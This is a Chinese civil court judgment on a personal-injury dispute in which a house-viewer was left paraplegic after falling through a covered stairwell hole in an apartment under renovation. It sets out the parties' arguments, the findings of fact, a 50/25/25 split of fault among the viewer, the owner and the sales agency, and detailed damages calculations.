海南省海口市美兰区人民法院
p t ; ” > 民 事 判 决 书
（2015）美民一初字第1087号
原告：陈奕蓉，女，1987年2月3日出生，汉族，住海南省海口市。公民身份号码：×××。
委托诉讼代理人：李宏兵，北京京状律师事务所律师。
委托诉讼代理人：夏青兰，海南海地律师事务所律师。
被告：张若昕，女，1996年1月20日出生，汉族，住海南省海口市。公民身份号码：×××。
委托诉讼代理人：张宝华，海南德赛利律师事务所律师。
第三人：海南百年红房地产营销策划有限公司，住所地海南省海口市和平南路延长线东侧龙福大厦旁铺面第一号第2间。注册号：460XXXXXXXX5363。
法定代表人：吴忠清，总经理。
委托诉讼代理人：林先芳，海南圣合律师事务所律师。
委托诉讼代理人：蔡兴春，海南国岛律师事务所律师。
原告陈奕蓉诉被告张若昕、第三人海南百年红房地产营销策划有限公司（以下简称海南百年红公司）健康权纠纷一案，本院于2015年4月28日立案后，依法适用普通程序，先后于2015年7月2日、2016年8月1日、2016年11月16日、2016年12月29日公开开庭进行了审理。原告陈奕蓉的委托诉讼代理人[原告第一、二次庭审时的代理人为钟小铭（系陈奕蓉丈夫）、夏青兰，第三、四次庭审时的代理人为李宏兵、夏青兰]，被告张若昕的委托诉讼代理人[被告第一次庭审时的代理人为张宣生（系张若昕父亲）、郏从贤，第二、三、四次庭审时的代理人为张宝华]、第三人海南百年红公司的法定代表人吴忠清及委托诉讼代理人（第一次到庭的代理人为林先芳，第二、三、四次到庭的代理人为蔡兴春）到庭参加诉讼。因本案须等待原告治疗(康复)终结后再进行伤残鉴定，故本案曾中止诉讼。本案现已审理终结。
原告陈奕蓉向本院提出诉讼请求：1.判令被告依法赔偿原告医疗费49647.87元（暂计算至本案起诉时的数额），具体数额以法院判决时所发生的医疗费为准；2.判令被告依法赔偿原告残疾赔偿金、误工费、后续治疗费、营养费、护理费、住院伙食补助费、被抚养人生活费、赡养费、交通费、精神抚慰金等各项损失（损失赔偿项目按法律规定赔偿，具体数额计算以伤残等级、后续治疗费用、营养期限、护理期限等司法鉴定结果来确定）；3.判令被告承担律师费20000元（最终数额按法院判决被告应承担的赔偿数额的4%计）；4.判令被告承担本案的全部诉讼费用（包括案件受理费，财产保全费等）；5.判令第三人承担连带赔偿责任。诉讼中，原告依据海南公平司法鉴定中心作出的琼公平鉴[2016]医鉴字第287号《法医临床鉴定意见书》所评定的伤残等级、护理依赖程度及后续康复治疗费用，明确应由被告和第三人共同赔偿医疗费、误工费、护理费、交通费、住院伙食补助费、营养费、残疾赔偿金、残疾辅助器具费、被抚养人生活费、治疗和护理卫生用品费、鉴定费、财产保全费、住宿费、邮寄费、精神损害抚慰金、律师费共计6390787.49元（具体赔偿明细附后）。事实与理由：2015年4月25日上午11点左右，第三人海南百年红公司与被告联系同意后，第三人海南百年红公司的置业顾问李荣义带领原告到被告所有的位于海口市××区房（跃层）看房（以下简称1805房）。原告站在该房的二层楼面上看房时，脚下的二层楼板及覆盖物突然坠落（事后才发现坠落处是一个洞，洞口上面覆盖了发泡板、木板、木棍等物），造成原告受伤；受伤严重原告当即被120送到海口市人民医院急救治疗。原告认为，被告将正在进行装修的1805房向社会不特定对象公开出售，且没有采取任何安全防护措施，也没有任何安全警示提醒，其没有尽到作为善良房屋所有人应尽的安全保障责任，故被告存在重大过错，应当对原告的受伤损害承担全部赔偿责任。第三人是被告所有的1805房的销售代理，其引领原告前往1805房看房，且未对该房存在的安全隐患进行提醒和告知，故其应对原告在看房过程的受伤损害承担连带赔偿责任。原告作为有意买房的购房者，是在第三人引领下，征得被告允许同意的情况下前往1805房看房，且原告在看房过程中，已尽到正常人足够的安全注意和防范义务，故原告对自己的受伤没有任何过错。因此，被告和第三人应对原告的受伤损害承担全部赔偿责任。原告诉请赔偿费用明细如下：（一）医疗费1709133.93元，包括已发生医疗费355388.53元（110735.97元+191812.45元+52840.11元）和根据鉴定意见确定的后续康复费用1353745.4元（后续治疗费1142640元+体检费用59988.6元+后续治药品137116.8元+内固定拆除费14000元）；（二）误工费123433元（233.3元/天×529天）；（三）护理费2297920元，包括住院期间护理费107920元（海口15300元、北京926**元）和定残后护理费2190000元（海口一级伤残平均150元/天×20年×2人）；（四）交通费38656.5元（35069.5元+3587元）；（五）住院伙食补助费129354元，包括住院伙食费35700元、陪护人员住宿费88767.3元、陪护人员餐费4886.7元；（六）营养费52900元（100元/天×529天）；（七）残疾赔偿金527120元（26356元/年×20年）；（八）残疾辅助器具费1070174.3元；（九）被抚养人生活费302723元；（十）治疗和护理卫生用品费9665.96元（7479.44元+2186.52元）；（十一）鉴定费3700元、财产保全费4520元；（十二）住宿费728元；（十三）邮寄费758.8元；（十四）精神损害抚慰金100000元；（十五）律师费20000元。
被告张若昕辩称：一、1805房登记在被告名下，被告是该房的所有权人，李荣义（系第三人海南百年红公司的工作人员）与原告陈奕蓉未经被告允许进入1805房，属于擅闯私宅的违法行为，原告受伤与被告没有关系，被告没有任何过错，不应承担赔偿责任。原告称李荣义与其去看1805房是经过被告同意，根本不是事实。被告的父亲张宣生于2015年4月25日与符传平的电话联系内容，至多表明张宣生默许符传平带人去看房，张宣生将房屋装修人员（即陈某）的姓名和电话告知符传平，旨在强调符传平看房须有装修人员在场和陪同方可，这条信息绝不意味着张宣生同意其他任何人去看房；而李荣义和原告去看房，并没有取得被告父亲张宣生的同意。李荣义和原告未经允许擅自闯入的是被告的住宅，而不是进入宾馆、商场、银行等公共场所，在法律上，被告对原告不负有安全保障义务，因此，原告以被告未采取安全防范措施、未警示告知为由要求被告承担赔偿责任，于法无据。二、李荣义和原告擅自闯入被告住宅，在房间没有任何人在场的情况下看房，原告因疏忽大意而跌落受伤，后果应由其自负。被告是1805房的所有权人，装修该房屋是被告的民事权利。被告在该房的第二层装修开洞，原告进入房屋首层后，抬头一眼就能看见，当然，在没有主人和装修人员在场的情况下，其本应当退出，即使要继续看房，为了自身安全，原告也应该查看二层楼板情况；同时，1805房是跃层，当时正在装修，从房屋首层到第二层没有正常通道，连接两层之间的楼梯尚未开建，从最基本的安全起见，原告和李荣义最多只应看首层即可，但原告在李荣义的鼓励下，其甘冒危险，穿着高跟鞋，通过攀爬装修用竹梯上楼，缺乏基本安全常识。而且1805房第二层开洞的边沿比周边地板高出很多，洞口上架有横竖交叉的圆木，圆木上盖的泡模板并不严实，泡模板又有相当厚度且是蓝色，普通人肉眼一眼就能看出此处是空心，原告一脚踏进跌落，完全是其未尽最基本的注意义务而致。另外，根据医学常识，高坠摔伤后不能随意搬动，在原告从二楼跌落受伤后，其同意李荣义将其抱出房间、抱进抱出电梯、抱到室外草坪上，这一系列行为，造成或加重原告脊椎神经二次损伤，这也是原告未尽基本的注意义务。三、被告装修1805房是为自用，根本不存在卖房的事实，被告和被告父亲没有在任何媒介发布过售卖此房的信息，原告没有证据证明被告或被告父亲在对外出售此房。四、原告关于被告和第三人承担连带责任的主张，无事实和法律依据。如前所述，被告没有过错，没有实施侵权行为，不应当对原告承担赔偿责任，当然不存在与第三人承担连带赔偿责任问题；同时，连带责任要么约定，要么法定，本案并不存在依约定或法定承担连带责任的情形。综上，原告受伤与被告无关，被告不应承担任何法律责任，恳请法院依法驳回原告对被告的全部诉讼请求。
第三人海南百年红公司辩称：第三人在事件发生过程中没有过错，不应承担责任。在2014年10月，被告通过电子邮件方式将1805房的房产证传给第三人，用于介绍售房。在原告看房受伤这事发生之前，第三人介绍了几个客户到1805房看房，但是没有成交。在带原告去看房之前，第三人的员工李荣义与被告的父亲张宣生联系，张宣生回答称应该有人在，让第三人和原告到1805房现场看房。第三人的员工和原告一同到现场时，外面的门紧锁，第三人和原告通过里面的装修工人进入现场看房。第三人认为，既然里面的工人让第三人和原告进入现场看房，也就是视为被告同意原告和第三人到现场看房，因此应当由被告对原告的受伤损害承担赔偿责任，第三人无需承担责任。
对陈奕蓉与李荣义（系第三人海南百年红公司的工作人员）于2015年4月25日到被告所有的1805房（该房为跃层，共二楼）看房时，陈奕蓉从1805房二楼装修时所开的洞口跌落至一楼地面而受伤，伤后原告先后被送至海口市人民医院、北京博爱医院治疗（康复）的事实，各方当事人无异议，本院予以确认。
本案的争议焦点为：原告与第三人的工作人员进入被告所有的1805房看房，是否属于擅闯私宅；本案事故的责任；原告的损失项目及金额认定。
当事人围绕争议焦点依法提交了证据，本院组织当事人进行了证据交换和质证。综合当事人提交的证据和庭审陈述，经审查，本院认定事实如下：
位于海口市××区的1805房（产权证号：海房字第XX**号）于2013年10月登记在被告张若昕名下，属于被告张若昕所有。2014年10月，被告（通过其父母）将1805的房产证影印件通过电子邮件发给第三人，并委托第三人推荐出售该房；其后，原告在58同城、赶集网等房产租售网络平台上看到了出售1805房的房源信息（包括房屋照片）。
2015年4月，被告张若昕通过其父亲张宣生雇佣陈某等装修工人对1805房进行装修。因1805房是跃层复式（分一、二层，一、二楼之间的距离约2.9米），从房屋首层到第二层没有正常通道，装修工人遂在该房的第二层凿开一个洞口拟作为建造连接一、二层之间的楼梯所用。在楼梯建造完工之前，暂时以竹梯作为连接1805房一、二层的临时通道。2015年4月25日上午，第三人海南百年红公司的工作人员通过电话和手机信息方式联系张宣生要带客人去看房【在该日上午的9时34分，第三人的工作人员通过手机信息告知张宣生：”有工人施工那边吗？我带个客人去看房！”张宣生于9时45分短信回复第三人的工作人员”应该有，陈某总联系，手机139XXXX****”】；在10时左右，第三人的工作人员通过电话联系到了装修工人陈某，并告知陈某等会儿要带人来看房；11时许，第三人的另一位工作人员李荣义根据第三人的安排、指派，带领原告陈奕蓉和原告的母亲程某来到1805房时，房内无人[因当日为星期六，按小区物业管理规定，只准静音施工，故当日1805房并未施工，在原告和第三人来到1805房时，陈某恰好去楼房的公共楼顶清扫前几日的装修垃圾了]，但房门是开的，李荣义、陈奕蓉未再联系、未再等待陈某便进入了1805房开始看房；看房过程中，在李荣义的劝说、协助下，陈奕蓉穿着高跟鞋，攀爬竹梯上到了二楼。陈奕蓉在二楼看房时，踩到二楼地面洞口上的覆盖物（洞口覆盖了发模板、木棍等物），从二楼洞口坠楼至一楼地面受伤。受伤后的陈奕蓉被李荣义从18楼的1805房移到1楼的草坪上等候120急救车；原告陈奕蓉于当日被120送往海口市人民医院住院治疗，于2015年6月15日出院，住院51天。伤情诊断为：1.T11/12骨折脱位、脊髓损伤并双下肢瘫；2.颅骨骨折；3、脑震荡。出院医嘱：1.出院后继续进行康复治疗；2.出院后仍需人长期护理；3.加强营养；4.佩戴支具可取坐姿；5.定期复查；6.门诊随诊。原告在此治疗期间花费医疗费共计110735.97元（其中120急救费340元、门诊治疗费5138.7元、住院治疗费105257.27元）。
原告从海口市人民医院出院后即前往北京博爱医院继续进行康复治疗，原告为此向海口市人民医院转运服务中心、北京市红十字会紧急救援中心支付转运服务费共计1000元（700元+300元）。原告在北京博爱医院连续住院治疗306天（从2015年6月15日至2016年4月16日）。伤情诊断为：创伤性截瘫、胸11、12骨折脱位内固定术后胸10完全性脊髓损伤、枕骨骨折、脑外伤恢复、腰1右折横突骨折；并发症：神经源性膀胱、便秘、骨质疏松。诊断证明书处理建议：根据患者病情、需要使用轮椅、助行器、双下肢长支具、一次性导尿包、尿裤、尿垫、坐便椅、气垫床、防压疮坐垫等用品；患者在受伤初期需使用硬腰背支具辅助坐起，目前需使用腰围辅助改善坐位平衡；家庭住房需进行无障碍改造。出院建议：1.继续康复训练增强腰腹肌肌力，提高日常生活自理能力；2.预防压疮、泌尿系感染等并发症，继续治疗骨质疏松；3.定期复查，不适随诊。原告在此治疗期间花费住医疗费177262.5元、支付康复训练费33600元；另，原告购买膝矫形器760元、膝踝矫形器6800元、软性腰部保护矫形器320元、助行器125元、坐便椅833元、轮椅3600元，以上花费共计12438元（因购买的腰带后又退掉了，故未包括腰带费390元）。在北京治疗期间（指出院后至定残日前这段时间），原告支付了门诊检查费、挂号费、化验费及药品费共计2280.11元。
2016年1月21日，经原告自行委托，北京明正司法鉴定中心对原告伤残等级、护理依赖程度、后续康复费用进行评定。2016年2月24日，该中心出具京正[2016]临伤鉴字第48号司法鉴定意见书，鉴定意见为：陈奕蓉脊髓损伤后遗截瘫构成一级伤残，目前情况大部分护理依赖，后续康复费用详见分析说明。本案审理过程中，被告和第三人以上述鉴定系原告单方面自行委托的鉴定，对其合法性、证明力提出异议。为此，本院根据原告的申请，通过海口市中级人民法院委托海南公平司法鉴定中心对原告的伤残等级（比照道路交通事故受伤人员伤残评定）、护理依赖、护理人数、后续治疗费（包括后续康复训练、残疾辅助器具及更换周期或平均使用量、后续定期检查、治疗）进行司法鉴定（原告支付了司法鉴定费3700元，另原告为配合鉴定而入住宾馆产生了住宿费728元）。2016年10月10日，该中心作出琼公平鉴[2016]医鉴字第287号《法医临床鉴定意见书》，鉴定意见为:1.陈奕蓉因高坠截瘫、二便失禁，评定为一级伤残；2.护理依赖程度为大部分护理依赖，护理人数为2人；3.后续康复训练、残疾辅助器具与用品、后续定期检查、并发症的预防及治疗费用的计算，应根据分析说明中的相关数据及相关规定计算其费用；4.后续行内固定物拆除约需14000元。在该《法医临床鉴定意见书》的分析说明中，载明：1.陈奕蓉后续康复训练费用每月约需2000元。2.陈奕蓉因脊髓损伤，遗留截瘫、双下肢肌无力、二便失禁，须配置以下残疾辅助器具、日常用品及药物：①助推轮椅一台，价格1200元，每3年更换一次；②下肢矫形器一具，价格3000元，每2年更换一次；③座便轮椅一台，价格600元，每3年更换一次；④防褥疮床垫一张，价格2500元，每4年更换一次；⑤防褥疮座垫一个，价格500元，每3年更换一次；⑥助行器一具，价格400元，每3年更换一次；⑦腰围一只，价格60元，每2年更换一次；⑧站立训练架一具，价格1000元，每3年更换一次；⑨纸尿裤每日2条，价格每条5元；⑩一次性尿片每日4片，价格每片2元；?一次性导尿包每日4个，价格每个7元；?开塞露每日3支，价格每支2元。3.陈奕蓉后续定期检查费用：①血常规每4月一次，每次18元；②尿常规每4月一次，每次22元；③肝功能每6月一次，每次110元；④肾功能每6月一次，每次140元；⑤双下肢静脉彩超每6月一次，每次160元；⑥双肾输尿管膀胱彩超每6月一次，每次110元；⑦骨密度检查每年一次，每次100元。4.并发症的预防及治疗费用每月约需240元。诉讼中，为平等保护当事人合法权益，本院于2017年3月9日函请海南公平司法鉴定中心对原告陈奕蓉的伤残等级按照2017年1月1日实施的《人体损伤致残程度分级》进行评定。海南公平司法鉴定中心于2017年3月21日以琼公平鉴[2017]函第064号《说明函》明确：比照《人体损伤致残程度分级》之规定，对陈奕蓉的伤残等级亦评定一级伤残。
诉讼中，原告主张其因就医、鉴定等产生了交通费（包括原告本人、其亲属、陪护人员等乘坐飞机、火车、出租车、市内公交的费用）38656.5元，因购买治疗和护理所需的卫生用品费（如纸尿裤、纸尿片、导尿包等）支付了9665.96元、支付了上述卫生用品费的邮购费758.8元，另支付了病历复印费185.2元。原告为证明其主张，其提供了部分票据。经质证，被告和第三人对票据的真实性认可，但对其证明力提出异议，表示具体费用数额由法院审查确定。经审查，结合原告的就医地点（包括海口、北京）、就诊时间长短、伤残情况、原告提供的票据，本院酌定交通费22000元、卫生用品费6000元、邮寄费600元；对原告主张的病历复印费185.2元，本院予以认可。
原告为证明其在从北京博爱医院出院后至定残日期间（即在2016年4月17日至10月10日期间），其又产生了康复训练费16960元的事实，其提供了由北京恒康兴达劳务服务有限公司代为开具的”技术服务费”发票。经质证，被告和第三人对票据证明力提出异议。经审查，本院认为原告提供的票据一方面不能证明其实际发生并支付了康复训练费，另一方亦不能证明其主张的16960元康复训练费属于合理费用，故对上述票据的证明力本院不予认可。但根据北京博爱医院在出院建议中的”继续康复训练”的医嘱，本院对原告需继续进行康复训练的事实予以认可，结合海南公平司法鉴定中心2016年10月10日作出的琼公平鉴[2016]医鉴字第287号《法医临床鉴定意见书》中关于陈奕蓉后续康复训练费用每月约需2000元的鉴定意见，从公平合理的原则出发，对原告在2016年4月17日至10月10日期间（即从北京博爱医院出院后至定残日期间，约6个月）的康复训练费，参照2000元/月标准，本院酌定为12000元。
原告在诉讼中提供了《任职及工资收入证明》、《劳动合同书》和银行流水明细，拟证明其收入情况，经审查，上述材料仅能证明陈奕蓉在2011年6月至2012年5月的收入为月工资7000元；本案事故发生在2015年4月，上述材料不能证明陈奕蓉最近三年的平均收入状况。本院根据原告陈奕蓉原系海南富信房地产开发有限公司员工（合约部造价员）的情况，参照2015-2016年度海南省房地产业在岗职工平均工资53871元，确认原告的平均月收入为4489.25元（53871元/年÷12月），亦即147.6元/天。
原告陈奕蓉系海南省海口市人，户籍性质为城镇户口，其与丈夫钟小铭于2012年9月1日生育女儿钟雨欣，于2014年8月9日生育儿子钟丙辰。
2015年4月28日，原告陈奕蓉向本院申请财产保全并提供担保，本院于2015年4月30日作出（2015）美民一初字第1087号民事裁定书，查封了被告张若昕名下的位于海口市××区房的房产（房屋所有权证号：HK378229）。
诉讼中，证人程某证实：在原告陈奕蓉跟随第三人的工作人员李荣义进入1805房后，陈奕蓉曾表示上二楼的竹梯很高，有点怕，但李荣义说不用怕，我扶你。证人陈某证实：在事发前几天，也有其他人来1805房看房。
本院确认的上述事实，有原告提交的海口市人民医院《住院病历》、《出院记录》、医疗费用发票、购买生活护理用品费票据、病人费用清单、交通费用单据（包括飞机票、火车票、出租车票、公交车票）、工资收入证明、个人活期账户明细、《劳动合同书》、《户口簿》、《独生子女证明》、移动电话通话详单、网页图片、监控录像截图、DVD光盘一张、北京明正司法鉴定中心的《司法鉴定书》、北京市丰台区南苑医院《诊断证明书》、鉴定费发票、北京博爱医院的住院收费票据、住院费用清单、《住院病案首页》、《康复住院病历》、《出院记录》、《诊断证明书》、购买矫形器、助行器、坐便器、轮椅票据、邮寄费票据、康复训练费用票据、门诊费票据、律师费发票、财产保全费发票，被告张若昕提交的《住宅装修许可证》、《海南珠江格瑞物业管理有限公司资金往来（暂收、暂付）专用凭证》、1805房装修前的平面图、装修改造设计图、照片23张、监控室值班记录、降水证明、李建狮的证词、视听光盘，第三人海南百年红公司提交的海口市房权证海房字第XX**号房产权、手机短信记录5份、事故地点房门照片2张、电话通话清单，另有琼公平鉴[2016]医鉴字第287号《法医临床鉴定意见书》和《说明函》、证人（陈某、程某）证言、原、被告及第三人的庭审陈述笔录等在案为凭，上述证据经庭审质证和本院审查，可以作为认定相关事实的依据。
本院认为：一、原告与第三人的工作人员进入被告所有的1805房看房，是否属于擅闯私宅问题。从查明的事实可知，被告将其所有的正在装修的1805号房（产权证号：海房字第HK3782**）委托第三人推荐出售，第三人的工作人员经与被告父亲张宣生、现场装修工人陈某电话及短信联系并取得他们同意后，按约定时间（即2015年4月25日上午）带领原告来1805房看房，虽然1805房的房内当时无人，但房门是开的，且1805房正在装修，尚未有人实际入住使用，因此原告陈奕蓉和第三人工作人员李荣义进入1805房看房并不属于擅自进入被告个人所有的房屋；被告关于原告和第三人进入1805房属于擅闯私宅的意见于法无据，本院不予采纳。
二、关于本案事故的责任问题。被告将1805房委托第三人推荐出售，其对于不特定的他人（包括房产中介和购房人）需进入1805房内现场查看房屋是明知的，而1805房当时正在装修，具有不确定的危险因素是常识，因此，被告作为售房人，对于正在装修的1805房中存有的危险区域，其有义务设置相应的警示标志或防护措施，但本案中，被告并未在二楼洞口的危险区域设置相应的警示标志或防护措施，因此对于原告陈奕蓉在看房过程中从1805房二楼装修时所开的洞口跌落至一楼地面受伤，被告存在过错，其应承担相应的赔偿责任。第三人作为专业的房产中介机构，在1805房内无人的情况下，其仍然带领原告进入房内，存有不当；而在进入1805房后的看房过程中，其非但不履行提醒或劝阻原告勿进入危险区域的义务，反而劝说、协助原告攀爬装修用竹梯进入二楼的危险区域看房，其过错明显；因此，对原告在看房过程中从1805房的二楼洞口跌落受伤，第三人亦应承担相应的赔偿责任。原告陈奕蓉作为完全民事行为能力人，在第三人带领下进入正在装修的1805房后，在房主或装修工人均不在场的情况下，其甘冒危险，穿着高跟鞋，通过攀爬装修用竹梯上二楼看房，且上楼后不注意观察，未尽必要的安全注意义务，不慎从二楼洞口坠楼至一楼地面，造成伤残的后果应由其自身承担主要责任。被告辩称第三人的工作人员将受伤的原告抱进抱出电梯、抱到室外一楼草坪上的行为，造成或加重了原告脊椎神经二次损伤，但被告对其所称未提供证据证明，其亦未对原告的脊椎神经是否存在二次损伤的事实申请鉴定，据此，对被告的辩称意见，本院不予采信。综合全案事实，结合本案原告、被告及第三人的过错程度，对本案事故，本院认定由原告陈奕蓉自负50%的责任，由被告张若昕、第三人海南百年红公司各负25%的责任。本案为侵权责任纠纷，原告所受伤害并非是由被告和第三人共同故意侵权所致，且被告和第三人的行为均不直接、必然地导致原告受伤，被告和第三人的行为对原告损害后果的发生具有偶然性，原告受伤是多因一果的结合，因此应当根据过失大小或者原因力比例各自承担相应的赔偿责任。对原告主张的应由被告和第三人承担连带赔偿责任的意见，本院不予采纳。
三、关于原告各项损失的金额认定。综合原告诉求、被告辩称及第三人陈述，依据当事人提交的证据和本院前述审查认定的事实，按照统计部门公布的海南省2015-2016年度相关统计数据，经本院审查核定，原告的损失如下:
1.医疗费。①原告陈奕蓉受伤后被120急救车送往海口市人民医院救治，自2015年4月25日起至2015年6月15日止共住院治疗51天，在此治疗期间花费医疗费共计110735.97元（其中120急救费340元、门诊治疗费5138.7元、住院治疗费105257.27元）；②从2015年6月15日起至2016年4月16日止，原告在北京博爱医院住院治疗306天，花费住医疗费177262.5元、支付康复训练费33600元，以上合计210862.5元；③在治疗期间，原告购买膝矫形器760元、膝踝矫形器6800元、软性腰部保护矫形器320元、助行器125元、坐便椅833元、轮椅3600元，以上共计12438元；④治疗期间（主要指出院后至定残日前这段时间），原告支付了门诊检查费、挂号费、化验费及药品费共计2280.11元；⑤原告从海口转院到北京，支付转运服务费1000元；⑥本院酌定治疗期间原告因购买治疗和护理所需的卫生用品花费6000元、支付相关邮寄费600元，以上共计6600元；⑦本院酌定原告在从北京博爱医院出院后至定残日期间（即在2016年4月17日至10月10日期间），产生了康复训练费12000元。以上①-
⑦项费用共计355916.58元。本院确认或酌定以上各项费用数额的理由在前面的事实认定中已做评述，在此不再赘述。
2.后续治疗费。根据琼公平鉴[2016]医鉴字第287号《法医临床鉴定意见书》，后续行固定拆除约需14000元，本院对此予以确认。
3.后续康复训练费、后续定期检查费、后续并发症的预防及治疗费。琼公平鉴[2016]医鉴字第287号《法医临床鉴定意见书》未明确后续康复训练费、后续定期检查费、后续并发症的预防及治疗费的期限，参照《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》中对残疾赔偿金按20年计算的规定，结合原告伤残情况，本院酌定支持原告20年（从定残日2016年10月10日起算）的后续康复训练费、后续定期检查费、后续并发症的预防及治疗费。原告主张应按47.61年（中国人口平均寿命77.37岁减去定残时原告的年龄29.76岁）计算上述费用的意见于法无据，本院不予采纳；但若20年后，原告陈奕蓉确需继续康复训练、定期检查、预防及治疗并发症的，可依法另行主张权利。后续康复训练费：根据鉴定意见，每月约需2000元，20年的康复训练费为480000元（2000元/月×12月×20年）。后续定期检查费：根据鉴定意见，①血常规每4月一次，每次18元；尿常规每4月一次，每次22元。以上血常规和尿常规20年的检查费用合计为2400元[（18元+22元）/次×3次/年×20年]。②肝功能每6月一次，每次110元；肾功能每6月一次，每次140元；双下肢静脉彩超每6月一次，每次160元；双肾输尿管膀胱彩超每6月一次，每次110元。以上肝、肾、下肢静脉、输尿管膀胱20年的检查费用合计为20800元[（110元+140元+160元+110元）/次×2次/年×20年]。③骨密度检查每年一次，每次100元，20年的检查费用合计为2000元（100元/年×20年）。以上①-
③项后续检查费合计为25200元。并发症的预防及治疗费用：每月约需240元，20年的费用合计为57600元（240元/月×12月×20年）。综上，经核算，原告陈奕蓉后续康复训练费、后续定期检查费、后续并发症的预防及治疗费按20年核算共计为562800元（480000元+25200元+57600元）。
4.残疾辅助器具与用品费用。与前述后续康复训练费、后续定期检查费本院酌定按20年计算的理由一致，对残疾辅助器具与用品费用，本院亦酌定按20年（从定残日2016年10月10日起算）计算。若20年后，原告陈奕蓉确需继续配制残疾辅助器具和确需相关用品的，可依法另行主张权利。根据鉴定意见，经计算：①助推轮椅一台，价格1200元，每3年更换一次，20年的费用应为8000元；②下肢矫形器一具，价格3000元，每2年更换一次，20年的费用应为30000元；③座便轮椅一台，价格600元，每3年更换一次，20年的费用应为4000元；④防褥疮床垫一张，价格2500元，每4年更换一次，因此20年的费用应为12500元；⑤防褥疮座垫一个，价格500元，每3年更换一次，20年的费用应为3333元；⑥助行器一具，价格400元，每3年更换一次，20年的费用应为2667元；⑦腰围一只，价格60元，每2年更换一次，20年的费用应为600元；⑧站立训练架一具，价格1000元，每3年更换一次，20年的费用应为6667元；⑨纸尿裤每日2条，价格每条5元，20年的费用应为73000元；⑩一次性尿片每日4片，价格每片2元，20年的费用应为58400元；?一次性导尿包每日4个，价格每个7元，20年的费用应为204400元；?开塞露每日3支，价格每支2元，20年的费用应为43800元。以上①-?项费用共计447367元。
5．护理费。根据《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第二十一条第二款”护理期限应计算至受害人恢复生活自理能力时止。受害人因残疾不能恢复生活自理能力的，可以根据其年龄、健康状况等因素确定合理的护理期限，但最长不超过二十年”的规定，综合本案情况，本院确定护理期限为二十年。定残前的护理费用。因原告陈奕蓉未能提供充分证据证明护理人员的收入状况，亦未就其提供的护理费发票中所载明护理费金额的合理性进行举证，故从公平合理的原则出发，对定残前的护理费用，本院参照当地护工从事同等级别的劳务报酬标准计算。鉴于在原告的病历资料中，未明确其住院治疗期间护理人员为2人，据此，本院确认其定残前的护理人员为1人；原告受伤至定残日期间共计534天（即从2015年4月25日至2016年10月10日期间），结合在此期间原告先后在海口、北京住院治疗，出院后其被鉴定为一级伤残的事实，本院酌定其定残前的护理费用按120元/天计算，据此，经核算，定残前的护理费用为64080元（120元/天×534天）。定残后的护理费用。因护理期限最长不超过二十年，故定残后的护理期限为18.54年（即18年196天）。根据鉴定意见，原告的护理依赖程度为大部分护理依赖、护理人数为2人，结合其配置残疾辅助器具的情况并参照《人身损害护理依赖程度评定》规定的护理依赖比例，大部分护理依赖为80%。据此，参照2015年度海南省居民服务、修理和其他服务业在岗职工平均工资29537元的标准，经核算，定残后的护理费为876185元（29537元/年×18.54年×2人×80%）。综上，以上护理费共计为940265元（64080元+876185元）。
6.误工费。原告因伤致残持续误工，根据《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第二十条，受害人因伤致残持续误工的，误工时间可以计算至定残日前一天的的规定，从原告受伤至定残日期间共计534天（即从2015年4月25日至2016年10月10日期间），本院据此确定原告的误工期为534天。如前所述，本院确认原告的平均工资为147.6元/天（具体理由详见事实认定部分的阐述，在此不再赘述），经计算，误工费为78818元（147.6元/天×534天）。
7.住院伙食补助费。原告共计住院357天（从2015年4月25日至2016年4月16日），参照国家机关一般工作人员的出差伙食补助100元/天的标准计算，该费用为35700元（100元/天×357天）。
8.营养费。因人体受伤后确需加强营养有利于身体康复，且在原告的病历医嘱中，亦明确载明了需加强营养。据此，本院酌定按50元/天的标准，按住院天数357天计算营养费为17850元（50元/天×357天）。
9.残疾赔偿金。原告陈奕蓉（1987年2月3日出生）系海南省海口市人，户籍性质为城镇户口，因此，应按海南省2015年度城镇居民人均可支配收入26356元的标准计算残疾赔偿金。根据鉴定意见，原告伤残等级为一级，经核算，残疾赔偿金为527120元（26356元/年×20年×100%）。
被抚养人生活费。因原告陈奕蓉与其丈夫钟小铭于2012年9月1日生育女儿钟雨欣，于2014年8月9日生育儿子钟丙辰。在原告陈奕蓉于2015年4月25日受伤时，其女钟雨欣为2.64岁（即2岁235天）、其子钟丙辰为0.71岁（即259天）。根据《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第二十八条的规定，按照海南省2015年度城镇居民人均消费支出18448元的标准，钟雨欣的被抚养人生活费应计为141681元[18448元/年×（18年-2.64年）÷2人]，钟丙辰的被抚养人生活费应计为159483元[18448元/年×（18年-0.71年）÷2人]。将钟雨欣、钟丙辰的被抚养人生活费计入原告陈奕蓉残疾赔偿金后共计为828284元（527120元+141681元+159483元）。
10.交通费。本院酌定原告因本案支出交通费22000元（具体理由详见事实认定部分的阐述，在此不再赘述），计入原告损失。
11.鉴定及相关费用。诉讼中，原告申请伤残鉴定，其支付了鉴定费3700元及因鉴定入住宾馆产生的住宿费728元，上述费用均有相应发票予以证实，本院予以确认；另,原告主张因复印病历资料支付了复印费185.2元，本院予以认可。以上鉴定及相关费用合计为4613.2元（3700元+728元+185.2元）。
以上1-11项损失（费用）共计3307613.78元。
按照原告、被告及第三人的过错程度，对于上述损失（费用），由原告陈奕蓉自行承担50%，由被告张若昕、第三人海南百年红公司各自负担25%。据此，经核算，被告张若昕、第三人海南百年红公司各自应赔偿原告陈奕蓉的款项数额为826903.45元（3307613.78元×25%），原告诉求超出部分，本院不予支持。
精神损害抚慰金。原告陈奕蓉因脊髓损伤，遗留截瘫、双下肢肌无力、大小便失禁，被评定为一级伤残，造成了原告本人及其亲属巨大的痛苦，综合全案事实，依据原、被告及第三人过错程度，本院酌定由被告和第三人各自向原告支付精神损害抚慰金25000元，原告主张精神损害抚慰金10万元过高，本院依法予以调整。
原告主张被告和第三人应赔偿其委托律师参加诉讼所开支的律师费。本院认为，发生本案事故的主要过错在原告，且本案诉讼中的原告、被告及第三人均是委托律师参加诉讼，加之律师费亦并非诉讼过程中必然产生的费用，故从公平合理的原则出发，本案当事人的律师费应各自承担；对于原告主张由被告和第三人赔偿其律师费的意见，本院不予采纳。
